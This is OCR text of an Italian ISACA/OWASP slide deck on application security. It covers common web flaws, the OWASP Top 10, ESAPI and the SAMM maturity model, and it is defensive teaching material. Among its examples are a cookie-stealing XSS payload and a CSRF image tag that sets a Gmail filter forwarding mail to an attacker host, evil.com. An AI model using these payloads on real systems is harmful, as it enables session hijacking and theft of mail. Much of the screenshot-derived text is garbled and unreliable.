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e st Sicuro o Insicuro?

) OWASP Foundation Mail - Inbox - matteo.meucci@owasp.org - Mozilla Firefox
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Provocazioni: ingredienti del software

sicuro?

Ingredienti: Sun Java 1.5 runtime, Sun
J2EE 1.2.2, Jakarta log4j 1.5, Jakarta
Commons 2.1, Jakarta Struts 2.0,
Harold XOM 1.1rc4, Hunter JDOMv1

Software Facts

Expected Number of Users 15
Typical Roles per Instance 4

Amount Per Serving
Modules 155 Modules from Libraries 120

% Vulnerability*

Cross Site Scripting 22 65%
Reflected 12 15%
Stored 10

SQL Injection 2 10°%

Buffer Overflow 5 95%

Total Security Mechanisms 3 10%

Modularity .035 0%

Cyclomatic Complexity 323
Encryption 3

I
Authentication 15 4%
Access Control 3 2%
Input Validation 233 20%
Logging 33 4%

* % Vulnerability values are based on typical use scenarios for
this product. Your Vulnerability Values may be higher or lower
depending on your software security needs:

Usage Intranet Internet

Cross Site Scripting  Less Than 10 5

Reflected Less Than 10 5

Stored Less Than 10 5
SQL Injection Less Than 20 2
Buffer Overflow Less Than 20 2
Security Mechanisms 10 14

Encryption 3 15
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public class HelloWorld extends HttpServlet {

public void doGet(
HttpServletRequest request,
HttpServletResponse response)
throws IOException, ServletException

response.setContentType("text/html");
PrintWriter out = response.getWriter(); [ ]
out.printin("<HTML><HEAD>");
out.printin("<TITLE>Hello World</TITLE>");
out.printin("</HEAD><BODY>");
out.printin("Hello, " +}
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* Le vulnerabilita di sicurezza nel processo di sviluppo
software sono attese.

|l controllo dei difetti di sicurezza del software deve
essere considerato parte del processo di sviluppo del
software.

« Lagestione delle vulnerabilita e il punto piu
Importante del processo di software security.




—HSACA | Da chi/cosa deve difendersi
" Rome Ghapter un’azienda?

* Le aziende sono soggette a:
— Tentativi di attacco da parte del Crimine Organizzato

— Tentativi di attacco da parte di gruppi di “attivisti” che portano
avanti campagne con finalita dimostrative e politiche
(Anonymous, Lulzec).

— Tentativi di attacco da parte di Competitors
— Tentativi di frodi da parte degli interni
— Information disclosure da parte di interni
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Roml Chapm ' aumentado

2011 Sampling of Security Breaches by Attack Type, Time and Impact

conjecture of relative breach impact is based on publicly disclosed information regarding leaked records and financial losses
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-HSACA Come vede un attaccante la vostra
SRR applicazione?

¥%) My-Bank - Moxilla Firefox

E”E Moedifica Visualizza Cronclogia Segnalibri Strumenti  Aiuto
@ - c ﬁ' www.my-bank.com
£ Pidvisitati || Comeiniziare 5y Ultime notizie
_| My-Bank
MY BANK
SQL |nj9Ct|On7_ Username < Sess|on
Fsswend o Fixation?
| N - User
Vu nebra e d? Forgot password? Reset enumera‘tion?
remeber pwa: Brute Forcing?
= Search Bypassing
? . .
ReﬂeCted XSS ) ‘“"&lcome to My-Bank, please login to the authentication form Authentlcatlon'?
'NEW'S: My-Bank aquires HSBC




—~ISACA Quali sono le possibili vulnerabilita di un
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Rome Chapter

* Information Disclosure

* SSL Weakness

«  Configuration management weakness
« Old, backup and unreferenced files

* Access to Admin interfaces

« HTTP Methods enabled, XST permitted, HTTP
Verb

*  Credentials transport over an encrypted channel
* User enumeration

* Guessable user account

*  Credentials Brute forcing

«  Bypassing authentication schema

*  Vulnerable remember pwd weak pwd reset

* Logout function

*  browser cache weakness

* Bypassing Session Management Schema, Weak
Session Token

®@ @ © © © © © © © © © © © © o o

Cookies not secure

Session Fixation

Exposed sensitive session variables
CSRF

Path Traversal

Bypassing authorization schema
Privilege Escalation

Bypassable business logic

Reflected XSS,Stored XSS,DOM XSS
Cross Site Flashing

SQL, LDAP. ORM, XML,SSI, Code Injection
OS Commanding

Buffer overflow

Locking Customer Accounts

Buffer Overflows

WSDL Weakness
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 Validare tutti gli input!

« Encodare tutto I'output!

« Minimizzare I'area della superficie di attacco
* Principio del “Least Privilege”

 Fallire in modo “sicuro”

|l software esterno e insicuro

* Non fidarsi del “Security through Obscurity”
« La semplificazione si sposa con la sicurezza
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Romn Chapler

web

®OWASP N

Cal Web Apnlication Seceri ty Risks

Vemonc in Itahano i

rel/f:ase

A1: Injection

A2: Cross-Site Scripting (XSS)

A3: Broken Authentication and Session
Management

A4: Insecure Direct Object References

A5: Cross-Site Request Forgery (CSRF)
AG6: Security Misconfiguration

AT7: Insecure Cryptographic Storage

A8: Failure to Restrict URL Access

A9: Insufficient Transport Layer Protection

A10: Unvalidated Redirects and Forwards
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Mario Rossi

5‘ -- Testing fox XSS in “search’field --

[1] search: “XSSTest”

[2] Answer: “"XSSTest does not found”

¥%) My-Bank - Mozilla Firefox
Eile Modifica Visualizza Cronologia Segnalibri Strumenti Aiuto

r c ﬁ https:/fwww.my-bank.com

2 Pidwvisitati | | Come iniziare 5 Ultime notizie

|| My-Bank

MY BANK

Search
Search

X55Test does not found
Welcome to My-Bank
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Cross Site Scripting (XSS): esempio

Mario Rossi

-- Testing fox XSS in “search’field --

[1] search: “<script>alert(document.cookie)</script>"

[
»

[2] Answer: “<script> does not found”

£%) My-Bank - Mozilla Firefox

File Meodifica Visualizza Cronologia Segnalibri Strumenti Aiuto

f c Q https://www.my-bank.com

2 Pidvisitati || Comeiniziare 5y Ultime notizie

| | My-Bank < :
[JavaScript Application] W|

m |‘_\ ISESSIONID =97 A901REEGGF21CABDA 147 A3F16F37 268

Search

does not found

Welcome to My-Bank

17
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Malicious site

(2)

3¢

(3)

-
ﬁ )

Trusted site

Script eseguito sul browser
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AL DOMInator in action
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Lo, J = ¥ Comsole WYML €SS Scrpt DOM  Net Cookies  DOMinator~
| Lo Enabled  Clear Lag Cookies Enabled  Top Window v Alerts (1) | Warning (0)
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+ Stack Trace

3 16:8:32 491 | nttpul7 t

pec=dddSv=3426fd==432423 ) CONCATRIGHT

— ssssshitp /127 0.0 U/-stefarofrornesiframes itmiYass =bbbbbccc=ddd v =326 ds=23242)
CONCATLEFT

Dats

efaraframesiframes MmiTasa=thbbbccc=dddsv=3426/ds =25242 Y/

WD 127 0.0.1/— 58

CONCAT
* Srack Teace ssssshitp /127 .0.0.1/)-stelamaframes/iframes Mmi?asa=bbbbiccc=ddd £v=30260ds =2 3242 N2 33D 342526 e 304 32425
* dep Object { startPos.ay. endPos«w, more... )} Object { startPos.a. endPos.as. more.. )
op ConCAT
= val “smasshttp /713740 1 NAIDIA NS A IDA T34 "
H Stack Trace
hetp 1127 .0.0.1/~stetanaframaes il js 7W
{Line:2
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R Salid). InnerMTML = txt;
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AMtp 127 0.0 1 -stefanoframes fframes himi7aaa=bbbbSocc=ddd 8 v= 34261 ds=432423
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1) Info

.o ‘ | X85 httpe//www.xssed.org/
x @ v

L Favorites

S ” Suggested Sites v @ | Web Slice Gallery »

|X5$ X55ed - XSS (cross-site scripting) information an.., | |

< sl >

18 sucacks information

New HSBC and Barclays bank XSS and open redirect bugs

Written by DP
Saturday, 30 May 2009

YUPDATED 03/06/2009% - A fresh batch of critical cross-site scripting and open redirect
vulnerabilities was added today to the archive.

read more...

Flash clickTAG parameter XSS, Banks, e-shops, Adobe and others vulnerable

Writtan by DP
Tuasday, 12 May 2009

Hundreds of thousand websites host vulnerable Flash files which can be used by maliclous
people to conduct convincing phishing and XSS attacks. In most cases cookie hijacking is
possible, Unsuspecting users can be redirected to malware content sites from trustworthy sites
using SSL.

read more...

Cross-site scripting flaw on Winbank's easypay.gr SSL site
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TISACA Quali impatti di un XSS?

« Un attaccante puo scrivere uno script per
realizzare:

— Furto di credenziali utenti: Phishing via XSS
— Furto di cookie di sessione utenti
— Keylogger dei dati inviati via browser

 Defacement

* Forzare l'utente ad eseguire azioni quali:
— Azioni dispositive
— Scan della rete interna

21



—+HSACA | Cross Site Request Forgery
" Rome Chapter (CSRF)

« Gli attacchi di Cross-Site Request Forgery (CSRF) avvengono
quando attaccante riesce a causare I'esecuzione da parte del
browser web di un utente di una azione non voluta su un sito

fi
Sito dell’attaccante

MY BANK

V

3@

@one dispo@

T
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sogle Mail - Inbox (Y57) Mozitls Tirefox

Ele ER Yew Moy Gdneds  Jock  Hep

<« - . ‘f /;‘ P Mtpemad googie comdrad TadheDOAMAMAAAAG ¥ WS TH4 Tows TEESUR Ioka P Ourt DyA RV OIS FOMEBA WS e b oiv Sctige L) 8 * | v iIGis
Mail Calendsr Documents Eholos Quups Veb moes v Satieqs | Help | Sign o 12
GO( )Slc [(Searshatad | [ Search she Veb | ‘-——-‘”-4'-——*14
Maill
Compose Wail m m L_Qg_) More actions ~ Fafresh 1- 5 of 187 Cider, Oidest »
Isbox {157} Select. All, Nonw, Read, Usesnd, Starred, Unstaired
Stamsd ﬁ C PHP Claszes [PHP Clazses] PHP Classes: Weokdy nowsletier of Sunday - 2007.08.23 - PHP Cla okl ttes nf Sund ) Sep 23
" [ Shype Shypo - download successhul, What next? oo i £ wMa loay fuma Sep 20
::,':.M’“ [T Digg.com Hew Digy Profites and Updated Site Policies fr f n t ) . t Sep 20
:\_J'-_;al [ Jed Yazzie Iztegli lubimite si filmi bozplatne< .. T >diathesis stasis octahe.., | " ar 3 {2007) 2 for Sep 18
T2 0 PHP Classes bl L el L 3 . . r—— Sep 16
?ﬁﬁéﬁj [ lrwin Mekinnos Sannih T e BETRACKEN KE Sep 11
[ SPIDymamics Sep 10
Lontace [ PHP Classes Sep 10
b John Dokesn [T SPIDymamles Sep 5
[ Newsvine Adm Seph
» Labels £ Stumbleilpon Your Stumblelipon Password - Hem " Slomin t § nd 3579301 N ' I pssubes@gma Sep2
[ PHP Classes [PHP Classes| lnmovation Award resubts of Mq-m of 2001 A ard fts nf August ol X07 PHF tract The | Sep 2
S e [i PHP Classes [PHP Classes] 13 1ulas te optienize your Wali site performance pir b shiw patiance FHI t Auwg 31
Give Google Mai to L Wink Team Edwin Seaver would Tike 10 he added as your fiiend ! ks | I Ang 26
[ PHP Classes [PHP Classes] PHP Classes: Weekly nowslotter of Sumday - 20070826 ©11f ) 1t I 20 Ang 26
~~~~~ [ Wink Team Passwonl 1ecovery complete | a [ = ! t 1 Ausg 23
Sendims] % it
YT O Wik Tean Vink Fassword Recoesry I ! 1 hip Y vrecy { Esastt 10 Ay 23
SN [ blinklist-active.members Please Help to Moke BlinkList Incredible - Tip 5 - Hey jia: — muken | —T Ay 23
E StumbleUpon Make the most out of StumbleUpen  “1un! t sast {10 gut t v it ef 2 Aug 22
[T PHP Classes [PHP Classes| PHP Classes: Waekly newslonor of ﬁluuhy 2007 0849 1 5585 Woakly ne fra of g 20 Ang 19
0 bEOREsLactive mvembers Turn BlinkList Imto Your Onramp 1o the Net Tip 4 - ) | , ' le fa LU E Ay 18
L news2007.august Alova Developer Connection Newsleties August 2007 f | t } Authomtic RSS Eda Aug 17
[ StumbleUpon Get to know StambleUpon!  “ 10 asut | 3. thi Ausy 15 =
Dore N ey ) N SR M medgoogle.con @ P e @ B r.‘-;gu;-.m:a ]

Source: Petko De Petov: Client side security — OWASP AppSec Conf 08

23



+’:f’,,,'ff!,,,’f"' CSRF: esempio Gmalll

2 Moziiks Firefox
B Bt \Ww  Mgtory Sosimnks Took HD
~

1 evi.com - b (_'.«-

14 Googhe M - Irare (147) || (Uinkithed) O -

pag:heoe G Bl Ocennoebock ©
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CSRF: esemp

10 Gmall

"J Google Mail - Search results for: has:alfachment

& - e

Mall. Cslendar Documests

Ggogle
Compose Mail

Inbox (157}
Stamed W

Lontacts
P & John Dolsan
P Labis

¥ lirate & friend
Gwve Google Mai to

| Sered lowim | 50 1ent

3 e

Dune

Fe ER Wew oy
I1 hetps. (sl Qooghe . Connad? yteDOAAATMIAALG Y _oWaTHATonG T¥BPK e ke Cunt DR IR YV DO R0 AG3 I WS e2tit W 3SPoEY £ 14| = | I

Forwarding and POP  Chat

Tha tollowing filtars are appRod 10 all Incoming maik:

Gemoral Accomnts Labels Filters

Matches hascattachment
Do this: Forward to coloct@ ol .com

Cle

Sattings | Help | Sian out

Your Glier was craated, Leain mote

et delete

Lamn ot

7000 - Toarme of La - Privecs Poloy - Progran Poicies - GIoos soee

medgeogecon @ Mo sere 3 Bl cpsanetsbock ©
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o Utilizzando un attacco di CSRF - creo il filtro

« Come avviene l'attacco (semplificato):

<HTML>

Benvenuto sul sito!

<img
src="https://gmail.google.com/action?param=createFilter&email=collect@evil.c

om” />

</HTML>

26



TISACA

Rome Chapter

CSRF lllustrated

®
=
-~

)

L'attaccante setta la trappola su qualche sito web in Internet 0

semplicemente invia una mail

View Your Accounts
1. Ugemame, 2 Password
meme Halp Passweed Halp é%%f(w (Smali Business | Commaercist ||
3. Sign Onto
Actount Sumenary ¥ | |

Need to set up online access?

Moot acc Hidden <img> tag

& =4 contiene I'attacco

vulnerabile

Mentre é loggato al sito vulnerabile,
la vittima visita il sito dell'attaccante

<img> tag caricato dal
browser — che invia una
GET request includendo
le credenziali (cookie) al

contro il sito '_I

Applicazione
vulnerabile al CSRF
B |

[ T
¥ Pt (o - —

Yy e

MY BANK

W rdeome w M sk seme i e e b

R

Il sito vulnerabile vede
una richiesta legittima
da parte della vittima
ed esegue l'azione
richiesta

sito vulnerabile

27



HSACA | CSREF: Impattl

* Un attaccante e in grado di compiere azioni con |
privilegi dell’'utente che invia I'attacco
Attacker site

I

8 ) =
Impatti sul business

Possibilita di forzare I'utente a compiere

azioni non volute, con un elevato fattore di - Trusted site
successo nel caso in cui Il sito che ospita

I'attacco sia visitato dalla vittima

MY BANK

28
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Injection significa...

— Fare in modo che un’applicazione includa dati ulteriori rispetto a quelli
previsti nei flussi diretti ad un interprete

SQL injection e il problema piu comune

— Molte applicazioni usano SQL e sono vulnerabili

Le conseguenze prodotte sono imprevedibili: la Sqgl Injection

permette al malintenzionato di autenticarsi con ampi privilegi in aree

protette del sito (ovviamente, anche senza essere in possesso delle

credenziali d'accesso) e di visualizzare e/o alterare dati sensibili.

29
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statistiche

Percentuale

Categorie di vulnerabilita

Fonte: Minded Security Labs 2011
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Vulnerabilita Web: statistiche (2)
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(}0
Vulnerabilita
Fonte: Minded Security Labs 2011
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e XSS e CSRF si sono evoluti.

» XSS negli ultimi 10 anni e cresciuto da
una semplice curiosita a una vera e
propria epidemia.

» Ad oggi, XSS € diventata la vulnerabilita

piu diffusa di sicurezza di tutti i tempi.

» Un browser infettato puo fare gualsiasi

cosa su una applicazione che un utente in

condizioni normali puo fare.

 70-90% delle applicazioni web soffrono

di vulnerabilita gravi

32 32
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Esempio di approccio non strutturato alla
sicurezza applicativa:

Applicazione Ministero dell’Informatica




WSAM Attori coivolti

Ministero Responsabile Utente malizioso  Esperto di
Informatica applicativo sicurezza sw




—SACA | Conferenza stampa per il lancio
- Rollnavc.han‘u‘r o del pOI‘tale

Da oggi € possibile
usufruire di un nuovo
servizio sul portale di
Ministero Informatica

astico!! Complimenti!!
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Il giorno dopo...

ibblica.it - Homep... X

la \“ |*__‘~ﬂ www.reppbbiicafit

| Extra | Mohile | Facehook | RSS

| Network

la Repubblica.it

Martedi 09 novembre 2010 — Aggiornato alle 10.34 — undefined

EDIZIONI LOCALI: BARI - BOLOGNA - FIRENZE - GENOVA - MILANO - NAPOLI - PALERMO - PARMA - ROMA - TORINOD

Moda

Home Affari&Finanza Sport Spettacoli&Cultura Motori Viaga Casa

Cerca

Salute Meteo Lavoro Annunci

Repubblica TV | Palitica | Cronaca | Esteri | Scienze | Tecnologia | Ambiente | Scuola&Giovani | Repubblica@Scuola | Mondo Solidale | Ora per Ora | Foto

Ministero dell'Informatica: "Al via il
nuovo servizio”

Da oggi & possibile accedere al nuovo portale di Ministero dell'Informatica che hala
{ missione di gestire, controllare e proporre nuove tecnologie e delle relative
applicazioni industriali e di promuovere |'integrazione fra il sistema della ricerca...

Veneto. ancora pioggia e paura
Zaia: "Resti qui acconto Irpef"”

Maltempo su tutta Italia fino a mercoledi

P AT ™ e
¥

Crollo Pompei, Bondi sotto accusa
Il Pd verso la mozione di sfiducia

Negli scavi i turisti sgomenti / Foto

| democratici stanno per
annunciare |'affondo
parlamentare contro il
ministro. Che si difende
(audio): "Se fossi
responsabile mi dimetterei.
Riferirty alle Camere"

Nella regione alluvionata il
. governatore rilancia l'idea
di trattenere e tasse sul

s territorio. La Protezione
civile: il livello dei fiumi si
abbassa. Diciassette
NRranNne PVAarilate in

o
"

Viaggi | Scienza L'intervista

LN " DaPortland a Sydney
quella metropoli
sembra un parco - foto
Stoccolma, Tromso, il
Sudafrica e la Nuova Zelanda
_~ ma anche Rio. Una guida alle
10 cittd del mondo dove &

ancora possibile perdersi in
una foresta o/ LARA CUSATTO

LE IMMAGINI

- REPUBBLICA TV /IL DERBY
Ranieri show: "l romanisti
@ Sstanno a gode' come ricci”

TR NEw YR : 4
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Accesso al portale...
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Mario Verdi — 12/12/1970
Mario Rossi- 10/09/1982
Paolo Rossi — 09/02/1960

N.B.: L'utente malizioso utilizza in maniera impropria e senza alcun consenso
da parte dell’applicazione Ministero dell'Informatica le funzionalita applicative.
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ubblica.it - Homep...

[ | | #& ' [E] wiww,repubblica.it v ‘-‘ >
| Extra | Mobile | Facehook | RSS | Netwark
Martedi 09 novembre 2010 — Aggiornato alle 10,34 — undefined
EDIZIONI LOCALI: BARI - BOLOGNA - FIRENZE - GENOWVA - MILAND - NAPOLI - PALERMO - PARMA - ROMA - TORINO Cerca

Home Affari&Finanza Sport Spettacoli&Cultura Motari Viaggi Moda Casa Salute heteo Lavoro Annunci

Repubblica TV | Palitica | Cronaca | Esteri | Scienze | Tecnologia | Ambiente | Scuola&Giovani | Repubblica@Scuola | Maondo Solidale | Ora per Ora | Foto

Violato il sito del Ministero Viaggi
-~ dell'Informatica

Il nuovo portale del Ministero dell'lnformatica sembra sia stato violato e che
sia possibile accedere ad informazioni riservate degli utenti del servizio ...

Scienza  L'intervista

Repubblica@Scuola cambia veste
notizie tra blog, chat e 'mini-twitter'

Immigrati, blitz all'alba a Brescia - foto
sgomberato il presidio intorno alla gru

1 | sei extracomunitari che
chiedono di essere

' regolarizzati restano a 35

{ metri di altezza. Appello

== video a Napolitano: "Aiutaci,
sei anche il nostro
presidente”. Una troupe di Rai Educational ha
trascorso la notte con loro: "VYogliamo incontrare

sl B i

Aeroporti, troppi sprechi: via gli scali
"bonsai”
Da Bolzano a Lampedusa, 24 a rischio * Tante le novita per gli
Pochi passeggeri, molti debiti. Spuntarono come 800mila studenti-reporter degli istituti
funghi nell'era della deregulation selvaggia dei cieli, collegati al sito di Repubblica.it. Una nuova
oggi sona piccole cattedrali nel deserto. Sul tavolo  N0Mepage, una chat-news, tante classifiche,
del governo un piano di tagli. Ma & un trend piu V'S'b_”lta per i ragazzi, ;red|tu formativi e
> una vetrina per le scuole of FEDERICO PACE
mondiale & E770RE Livini Commenta
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Le reazioni...

Ohh..ma come e stato
possibile?

Non saprei...ma e
impossibile!?
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Perche e potuto succedere?

Avete seguito un
programma di software
security prima di

rilasciare il servizio in
BSercizio?




—+SACA Quali sono state le maggiori criticita
| Romechapier dello sviluppo del software?

Non sono richiesti requisiti di sicurezza al software acquistato
Non ci sono state verifiche di sicurezza per il software
Non sono state verificate le librerie utilizzate

Non ci sono state verifiche di sicurezza per l'infrastruttura su
cui gira la applicazione




TISACA Comuni Assunzioni

Rome Chapter

« | penetration test risolvono tutti i problemi di sicurezza applicativa
« Software proprietario => software sicuro

« Software open source => software sicuro

— Se qualcuno non ha fatto una review del codice molto probabilmente vi

porterete in esercizio vulnerabilita del framework

Il client e una sorgente dati sicura => invia dati attesi

— Allinput is Evil! (M. Howard)

« |Implementare significhi sviluppare da zero...

— Utilizzate librerie di sicurezza verificate e condivise
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Un approccio piu strutturato

« “Facciamo eseguire sulle applicazioni piu critiche un penetration

test applicativo entro 'anno dalla messa in dall’esercizio”

« “Facciamo eseguire sulle applicazioni piu critiche un penetration

test applicativo appena € in esercizio”

« “Facciamo eseguire sulle applicazioni piu critiche un penetration

test applicativo in pre-esercizio”

« NON BASTA! Questo di norma e l'ultimo passo che si effettua

all'interno del processo di sviluppo del software

« E il recheck? Passo fondamentale per la consapevolezza e

gestione delle vulnerabilita




_ ’, i SACA La gestione della sicurezza appplicativa nelle
——— aziende italiane

Introduzione alla sicurezza del software

Le maggiori problematiche web

Comuni approcci non strutturati alla gestione della sicurezza
applicativa

Le iniziative OWASP per il supporto all'SDLC -

La maturita dello sviluppo software nelle aziende italiane

La creazione di un Sofware Security Program
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OWASP

The Open Web Application Security Project

» |l progetto Open Web Application Security Project (OWASP) e una
organizzazione Open Source dedicata alla creazione e alla
diffusione di una cultura per quanto riguarda la sicurezza delle
applicazioni web

* Progetto free, come il materiale disponibile sul portale
WWW.0wasp.org

« Migliaia di membri, +100 capitoli locali e altri partecipanti ai progetti.
Milioni di hit su www.owasp.org al mese

« Defense Information Systems Agency (DISA) , US Federal Trade
Commission (FTC), VISA, Mastercard, American Express e molte
aziende in Italia hanno adottato la documentazione OWASP nei
loro standard e linee guida
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http://www.owasp.org/
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Rome Chapter

Q e
1 " bhidd
= o it

6,381 Articoli
*427 presentazioni
«200 aggiornamenti/giorno
«271 mailing lists
180 blog monitorati
* Progetti:

«alfa

*beta

‘release

Application
Security Desk
Reference
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—~ISACA Linee Guida OWASP

Rome Chapter

« Gratuite e open source

« Libri a basso costo

« Centinaia di esperti coinvolti :
« Coprono tutti gli aspetti di sicurezza applicativa () Soware Amaranc

Macurity Model

@OWASP - @‘“"“‘,’

OWASP Top 10 - 2010 2008, D elopers Guide v
The Yon M ¢ ‘l.:'k-“\-'nl'-\». vy Wik )

Versione in ltaliano @

rel/ease
«|
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TISACA | principali progetti OWASP
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BOOKS
® Owasp topl0
® OWASP ASVS
® Building guide
® Code review guide
® Testingguide §§

TOOLS

WebGoat,WebScarab
ESAPI

SQLMap —SQL Ninja §'1
SWF Intruder § B

02

Orizon §1

Code Crawler B &

o0 O® Q9@
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« Al fine di comprendere ed eliminare le
cause della “insicurezza” nel @owase
software, OWASP ha sviluppato la guida per e
lo sviluppo delle applicazioni web sicure (2005) e
pensata per:

— Sviluppatori per implementare i meccanismi
di sicurezza ed evitare le vulnerabilita;

— Project manager che la utilizzano per
identificare le attivita da svolgere (threat
modeling, code review, development);

— Team di sicurezza che la usano per
apprendere le tematiche di application
security e I'approccio per la messa in
sicurezza,




+saca | OWASP Code Review
Guide

® Descrive la metodologia OWASP per
testare il codice di un’applicazione (white
box testing, conoscendo il codice

sorgente)

T
ot . —
: rhe - ‘
LI l
48knti Feeveisgy 1
| SN ) - 4
"L ik
| : 3
D
Prodects & Serviens
_ ] SLIES e Account Service]
W0 At o hec |
o lantin it Uate !
el in 111 Date
.
Miection (1




AR | OWASP Testing Guide

« Descrive la metodologia OWASP per
testare la sicurezza di un applicativo web

@n\\,\sp

OWASP Testing Guide v3.0
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OWASP ESAPI: il problema...

Spring Write Custom
Jasypt Code
Java Java URL
Pattern | Encoder
Commons xml-enc Log4j
Validator
Cryptix JAAS
JCE ACEGI Stinger
Struts BouncyCastle
Reform Anti-XSS Many
| HDIV More
xml-dsig .
Java Logging

Standard
Control




TISACA | \/ylnerability Theory
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* Un rischio e dato dall'instaurarsi di un percorso dall’agente di
minaccia all'impatto sul business.

Threat Agent Vector Vulnerability ~ Control Technical Impact Business Impact
I
—® Vector -
Business
%‘.‘.. E— _"H""'. Impact
_ 7
@ Vector l , Vulnerability Control
- T \ ——
. Business
TN Impact
% S | b m ‘ Vu|nerabi|ity‘l [ Missing ”I lllll : p—l
s |—/ Control ¥
P ——. | /
| ﬁ :3usiness
mpact
% Vector |_/ ——®  Vulnerability -/
| Asset
Rtk I-/ ®  \Vulnerability Control *
\




eaca | Come nasce una
siccedl vulnerabilita?

 Controllo non implementato

— Lack of encryption

— Failure to perform access control

 Controllo bypassato

— Weak hash algorithm

— Fail open

 Controllo ignorato

— Failure to use encryption

— Forgot to use output encoding




+saca | Immaginate un Enterprise
. Security API

ESAPI con tutti | controlli di sicurezza necessari e che sia:
— Standardizzato
— Centralizzato
— Integrato
— High Quality
— Intuitivo
— Testato

— Che risolva i problemi dei controlli mancanti o bypassabili
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Rome Chapter

Custom Enterprise Web Application

Enterprise Security API
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Existing Enterprise Security Services/Libraries
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iIsAuthorizedForURL ”\ isAuthorizedForData L\

|sAuthor|zedForFunct|o Web Service

isAuthorizedForService ”\

\___

base

Mainframe

isAuthorizedForFile ’f\
<

——

N

2. File System

-~—

isAuthorizedForFunction




—~HSACA | Potential Enterprise ESAPI Cost
T BemsGhegter Savings

AppSec Training

u ESAPI
M Typical

AppSec Requirements

AppSec Design

e
—
—
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—
h
-
—

AppSec Verification
AppSec Remediation
AppSec Standards

AppSec Management

$0 $200,000 $400,000 $600,000 $800,000 $1,000,000




‘ﬂSACA La gestione della sicurezza appplicativa nelle
" Rome Chapter aziende italiane

Introduzione alla sicurezza del software

Le maggiori problematiche web

Comuni approcci non strutturati alla gestione della sicurezza
applicativa

Le iniziative OWASP per il supporto all'SDLC

La maturita dello sviluppo software nelle aziende -
italiane

La creazione di un Sofware Security Program
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® OWASP SAMM: I modelli precedenti
di Maturity Model sono buoni per gli
esperti da utilizzare come una
guida, ma difficile per le aziende da
utilizzare per migliorare i propri
obiettivi.

® Modello prescrittivo: mostra un
percorso comune da seguire.

61



ﬂSACA OWASP SAMM: obiettivi
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~1iISACA SAMM: 4 Funzioni di business

Rome Chapter

critiche
Governance Construction Verification Deployment
(% R (- ) (4 )

O J N J & >
Software development Goal definition and Checking, evaluation Software release
management activities software creation and testing of management and
and organisation-wide processes software development normal operational
business processes artifacts management

® Siinizia con le 4 attivita di base legate ad ogni azienda che sviluppa o
acquista software

® Nomi generici delle funzioni ma dovrebbero essere compresi dagli sviluppatori
e manager
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‘HSACA Ciascuna area ha 3 Security
Practices

Governance Construction Verification Deployment

i D @ % é A

L& o/ N _/ & >
Security & Metrics Threat Assessment Design Review Vulnerability
Management
Policy & Compliance Security Requirements Code Review Environment
Hardening

Education & Guidance Secure Architecture Security Testing Operational
Enablement

‘ 64 64
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Per ogni security practice

« Sono definiti 3 obiettivi per ogni practice che definiscono come
guesta puo essere migliorata nel tempo

— Cio stabilisce una nozione del livello al quale
un’organizzazione adempie ad una data Practice

« | 3 livelli per una practice in generale corrispondono a:
— (O: Inizio implicito con la Practice non completata)

— 1: Inziale comprensione e la disposizione ad hoc della
Practice

— 2: Aumentare l'efficienza e / o I'efficacia della pratica
— 3: Padronanza completa della pratica
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Ad esempio: BF Governance, SP
Education

Governance
(2 )

o /

Security & Metrics

Policy & Compliance

Education & Guidance

Obiettivi

Attivita

EG1

EG2

EG3

Offrire allo staff Educare tutto il Training sulla

di sviluppo personale nel sicurezza

I"accesso alle SDLC in base al mandatori e

risorse di sviluppo proprio ruolo nello completi.

sicuro sviluppo sicuro Personale
certificato

A. Condurre Training A. Condurre training A. Creare un

tecnici su Security
Awareness

B. Costruire e
mantenere linee
guida tecniche

specifici in base al
ruolo

B. Utilizzare i trainer
per migliorare i team
di progetto

supporto formale per
la application security

B. Stabilire esami in
base ai ruoli aziendali

66
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EGJ

Livello 3

A. Create formal application security support portal

Building upon written resources on topics relevant to application security, create and ad-
vertise a centralized repository (usually an internal web site). The guidelines themselves
can be created in any way that makes sense for the organization, but an approval board and
straightforward change control processes must be established.

Beyond static content in the form of best-practices lists, tool-specific guides, FAQs, and other
articles, the support portal should feature interactive components such as mailing lists, web-
based forums, or wikis to allow internal resources to cross-communicate security relevant
topics and have the information cataloged for future reference.

The content should be cataloged and easily searchable based upon several common fac-
tors such as platform, programming language, pertinence to specific third party libraries or
frameworks, life-cycle stage, etc. Project teams creating software should align themselves
early in product development to the specific guidelines that they will follow. In product as-
sessments, the list of applicable guidelines and product-related discussions should be used
as audit criteria.

B. Establish role-based examination/certification

Either per role or per training class/module, create and administer aptitude exams that test
people for comprehension and utilization of security knowledge. Typically. exams should be
created based on the role-based curricula and target a minimum passing score around 75%
correct. While staff should be required to take applicable training or refresher courses an-
nually, certification exams should be required biannually at a minimum.

Based upon pass/fail criteria or exceptional performance, staff should be ranked into tiers
such that other security-related activities could require individuals of a particular certifica-
tion level to sign-off before the activity is complete, e.g. an uncertified developer cannot pass
a design into implementation without explicit approval from a certified architect. This pro-
vides granular visibility on an per-project basis for tracking security decisions with individual
accountability. Overall, this provides a foundation for rewarding or penalizing staff for making
good business decisions regarding application security.

ResuLts

+ Efficient remediation of vulnerabilities
in both ongoing and legacy code bases

+ Quickly understand and mitigate
against new attacks and threats

+ Judge security-savvy of staff and
measure against a common standard

+ Establish fair incentives toward
SeCurity awareness

Apo’L Success MeTrics

+380% saff certfied within past | year

App'L CosTs

+ Certification examination
build-out or license

+ Ongoing maintenance and change control
for application security support portal

+ Human-resources and overhead cost for
implementing employee certification

App’'L PERSONNEL

+ Developers (I daylyr)

+ Architects (I daylyr)

+ Managers (| daylyr)

+ Business Owners (| daylyr)
+ QA Testers (| daylyr)

+ Security Auditors (| daylyr)
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ﬂsAcA Procedura di assessment

Rome Chapter

Condurre un assessment

Creare uno score card

Costruire un programma di

assurance

— Metriche

— Road map

Implementare gli obiettivi e
condurre nuovamente un

assessment
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Education & Guidance Yes/INo

4+ Have most developers been given high-
level security awareness training?

4 Does each project team have access to secure
development best practices and guidance?

4+ Are most roles in the development process
given role-specific training and guidance!

4+ Are most stakeholders able to pull in security
coaches for use on projects?

4 |s security-related guidance centrally controlled and
consistently distributed throughout the organization?

4+ Are most people tested to ensure a baseline skill-
set for secure development practices?
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r ] Scorecards

before

dfter
Strategy & Design
Metrics 3 Analysis
Policy & ! Code
Compliance 2 Review

. |+ .

Education & Security
Guidance 2 Testing
Threat I Vulnerability 0+
Assessment 2 Management I
Security 0+ Environment !
Requirements I+ Hardening I
Secure 0 Operational 2
Architecture | Enablement 3
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Phase |
Phase 2
Phase 3
Phase 4

Strategy &
Metrics

Policy &
Compliance

Education &
Guidance

Threat
Assessment

Security

Requirements [~

Secure

Architecture |

Design
Analysis

Code
Review

Security
Testing

